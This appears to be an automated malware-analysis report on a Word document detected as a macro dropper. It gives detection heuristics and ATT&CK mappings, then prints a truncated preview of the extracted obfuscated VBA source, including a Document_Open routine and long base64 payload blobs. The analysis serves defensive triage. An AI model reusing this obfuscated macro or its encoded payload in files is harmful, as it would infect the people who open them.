MALICIOUS
184
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV heuristic also flags it as a dropper. While the VBA code is obfuscated, the presence of these indicators strongly suggests it's designed to download and execute a secondary payload.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-7144322-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7144322-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 19622 bytes |
SHA-256: f5a010b7318505d2b0d7a3569c789ab8870b6d93eafcacb201d05ce0a8574e67 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Document_Open() If 17 < 203 Then ' JFSkH3 Else ' s8BknzPi MsgBox "GrmBP3" End If If 118 * 4 = 1263 - 1248 Then Uvi03o9tm = "n9FXxlUdD" End If lroli7R8D = 57 HHV4f3 = Uvi03o9tm & lroli7R8D If 44 < 198 Then ' d5g6N Else ' rCz8B Debug.Print "oUjI062" End If bKdnC = "XNWpiMlJwYm1kZE9qcFZWRVk0TGtkbGRGTjBjbWx1WnloYlUzbHpk" OFG3c0P = "R1Z0TGtOdmJuWmxjblJkT2pwR2NtOXRRbUZ6WlRZMFUzUnlhVzVuS" pSv4KlMs7 = "0NSamIyUmxLU2s3ZEhKNWUybGxlQ2drWW1GelpUWTBLVHQ5WTJGMFkyaDdkM0pwZEdVdGFHOXpkQ0FrWHk1bGVHTmxjSFJwYjI0dWJXVnpjMkZuWlR0OQ==" Dim wnByReM1 wnByReM1 = 249 While wnByReM1 < 683 wnByReM1 = wnByReM1 + 54 Wend hFqCKprQX = 39605 UgNjXtzHU = z3nYMdJh & wnByReM1 Dim a1JgfU a1JgfU = 249 While a1JgfU < 683 a1JgfU = a1JgfU + 54 Wend bBCGmQI6 = 39605 gKmUpjGs7 = lXqCZ & a1JgfU Dim JRHt9 JRHt9 = bKdnC & OFG3c0P & pSv4KlMs7 HcB7HYU = "Y0c5M1pYSnphR1ZzYkNBa1kyOWtaU0E5SUNkS1NFSm9aRWRuWjFCVFFXbE1hVFZqWTBoV01HUklhM1ZhV0doc1NXcHpaMHBJWkdwSlJEQm5ZbTFXTTB4WE9XbGhiVlpxWkVOQ2RWcFlVWFZrTWxacFdUSjRjRnBYTlRCUGVVRnJaREpOZFZwSE9UTmliWGgyV1ZkU2JXRlhlR3hMUTBwdlpFaFNkMDlwT0haT1IwWjFXa2hLZG1GWFVYUmpNamx0WkVNMWVXUlRPSGhNTWpWc1l6SnNkVnBYWkhaTWJWWTBXbE5KYzBsRFVuZFpXRkp2UzFSeloyTXpVbWhqYmxGMFkwaEtkbGt5Vm5wamVVRnJZMGRHTUdGRWN6MG5PeVJpWVhObE5qUWdQU0JiVTNsemRHVnRMbFJsZUhR" dnljEO68R = "dVJ" If 1031 - 10 = 246 - 242 Then mgLlRr1 = "brvhjWJQ" End If mOAT7BCG = 56439 nPH76rGy = mgLlRr1 & mOAT7BCG If 58 < 241 Then ' UsxHEt5 Else ' RazGUdNe MsgBox "G3YtFLK" End If Dim OQTGRE1Y OQTGRE1Y = HcB7HYU & dnljEO68R If 15660 / 29 = -2972 + 2980 Then peaxH2RJ = "m8wAW" End If rGrCgkvm = 11300 fLa8mK = peaxH2RJ & rGrCgkvm If 15660 / 29 = -2972 + 2980 Then eNoKxPw0 = "OeyBGRCP" End If jh9Y2 = 11300 H7GywMUQO = eNoKxPw0 & jh9Y2 Dim GVCsB6 GVCsB6 = 72 While GVCsB6 < 963 GVCsB6 = GVCsB6 + 2 Wend OudMfao = 11104 lZDaf = TVBg7ZD & GVCsB6 Dim sQYipu2K sQYipu2K = 72 While sQYipu2K <= 963 sQYipu2K = sQYipu2K + 2 Wend embwXgK1 = 11104 ypcQVa = yw9th02 & sQYipu2K wj2yIN = OQTGRE1Y & JRHt9 Dim UsS30gHk UsS30gHk = 139 While UsS30gHk <= 725 UsS30gHk = UsS30gHk + 19 Wend tyno8gsZ = "wwHlGk" xvjfy = JXIAW6 & UsS30gHk If 49 < 228 Then ' sAYVGhw Else ' q9yhj MsgBox "VJLQfTbv" End If Call Stalin(wj2yIN) End Sub Attribute VB_Name = "fOMYy6nH" Sub Stalin(NLwkb) Dim lu1lO6EI lu1lO6EI = 80 While lu1lO6EI < 821 lu1lO6EI = lu1lO6EI + 23 Wend hKYwWrJX = "OiGEU1" eCavtz4Jy = b4UTt & lu1lO6EI Dim RQaLp RQaLp = 238 While RQaLp <= 663 RQaLp = RQaLp + 38 Wend q9Ndc5mnB = 7999 GPqHf = qLRXlN & RQaLp Dim o6yfz o6yfz = 64 While o6yfz < 769 o6yfz = o6yfz + 58 Wend GVWC1Ayx = "oSbMX2u" q3dOr = zLDUafT & o6yfz Dim LLtQkhA LLtQkhA = 29 While LLtQkhA <= 1022 LLtQkhA = LLtQkhA + 3 Wend nnCiZWM = 33667 zetlzFVaw = uUB90nAMS & LLtQkhA If 11 < 170 Then ' HLEdnBgs Else ' CCX9xLfI Debug.Print "wzVP8SA" End If If 47 < 131 Then ' dqW7Q Else ' RI1btNd8 Debug.Print "zceMJ" End If Dim lw8dS2i5e lw8dS2i5e = 139 While lw8dS2i5e < 999 lw8dS2i5e = lw8dS2i5e + 49 Wend So2S1DLe = "P2klRf" nuXUfNDO6 = qnYPMEk & lw8dS2i5e If 168 + 18 = 10318 / 737 Then z7pHxf = "aavtz" End If Wu5nce7 = 49384 b1Lo5Fmgf = z7pHxf & Wu5nce7 If 22 < 156 Then ' xMmocbUg Else ' FQBAh Debug.Print "WuWjMI1D" End If If 31290 / 70 = 9585 - 9584 Then FO5nxdeN = "es50b" End If j5r1Hum9l = "zoc5C9" q2FTsxZke = FO5nxdeN & j5r1Hum9l If 13 < 135 Then ' z698wjV Else ' nTg3rvlwS Debug.Print "GjyqO2T" End If If 13 < 135 Then ' HxZJC Else ' G9hwKTF MsgBox "cNGfp" End If If 59 < 162 Then ' esYN36d9V Else ' EktQB MsgBox "f3MUhFG" End If If 31 < 178 Then ' jNjzmvUWB Else ' bK9wV4i MsgBox "Vh5b1" End If If 31710 / 453 = -149 + 157 Then ZeulDv = "md8rD" End If q9ZDm = "wusc3BiXb" pW1i8a = ZeulDv & q9ZDm Dim fphNEuRVx f ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.